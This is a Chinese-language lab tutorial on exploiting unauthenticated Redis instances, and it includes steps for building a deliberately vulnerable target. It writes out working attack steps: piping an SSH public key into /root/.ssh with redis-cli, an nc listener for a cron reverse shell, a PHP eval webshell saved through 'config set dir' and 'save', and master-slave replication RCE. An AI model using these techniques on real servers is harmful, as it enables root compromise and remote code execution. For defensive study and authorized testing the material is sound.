一、漏洞产生原因redis安装完之后,默认情况下绑定在 0.0.0.0:6379,且没有对登录IP做限制,并且没有设置密码(默认为空)。 二、漏洞危害攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据; 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件; 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。 三、靶场搭建3.1、redis数据库下载安装本地实验采用的是最新版:6.2.5 本地实验使用的是centos8,执行安装命令: https://download./releases/redis-6.2.5.tar.gz tar xzf redis-6.2.5.tar.gz cd redis-6.2.5 make //编译成功之后,redis成功安装 3.2、搭建 redis 未授权访问漏洞靶场3.2.1 redis 启动命令:
成功启动如下图所示: 3.2.2 接下来编辑redis配置文件redis.conf,去掉ip绑定,允许除本地外的主机远程登录redis服务: 找到下图所示位置,将bind 127.0.0.1 前面加个注释符 # 修改后截图: 3.2.3 关闭保护模式,允许远程连接redis服务: 修改后截图: 3.2.4 修改完之后,重新启动 ./redis-server /root/redis-6.2.5/redis.conf 注意:如果重启报错,如下图所示,需要 netstat -anpt 找到 之前redis服务的进程 PID,把之前的 kill 了之后,就可以重新启动redis服务了 3.2.5 关闭防火墙
靶场环境: 懒得自己搭建的可以在 知识星球 或者 我的资源 中下载 四、漏洞复现 GETSHELL 利用目标靶机,IP:192.168.241.129 namp 扫描一波,发现目标靶机开放 6379 端口 使用 redis 客户端连接测试,发现存在未授权访问漏洞 那么接下来就是利用 redis 未授权访问漏洞 getshell 了 4.1 公私钥认证 GETSHELL前提: 4.1.1 先在本地生成一对密钥 kali 攻击机执行命令: h-keygen -t rsa 4.1.2 然后通过redis执行查看是否存在 /root/.ssh 文件
如下图所示,说明存在 /root/.ssh 文件 4.1.3 将公钥写入到目标靶机中 cd .ssh/ (echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > redistest.txt #将生成的公钥保存到redistest.txt cat redistest.txt | redis-cli -h 受害者ip -x set redistest #将保存ssh公钥的redistext.txt写入redis 4.1.4 成功写入之后,ssh远程连接
如下图所示,已经拿到目标靶机的 root 权限,并成功登录 4.2 计划任务反弹shell前提: 4.2.1 在kali开启nc 监听端口 6666 nc -nvlp 6666 4.2.2 连接redis后写入shell
kali监听反弹 shell 了,成功 4.3 绝对路径写webshell前提: 4.3.1 利用 redis 未授权写一句话木马 config set dir /var/www/html/ config set dbfilename redis.php set shell ' <?php @eval($_POST['x']); ?>' save 写入一句话木马文件 redis.php 之后进行访问测试 成功 getshell ,是普通用户权限,接下来可以进一步提权。 4.4 利用主从复制RCE前提: 漏洞存在于4.x、5.x版本中,Redis提供了主从模式。 原理: 主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。 靶场搭建: 4.4.1 首先验证是否存在未授权访问漏洞 4.4.2 利用脚本 getshell
命令如下图所示,直接 getshell 了 五、漏洞修复1、禁止外部访问redis服务端口。 更多资源: 1、web安全工具、渗透测试工具 |
|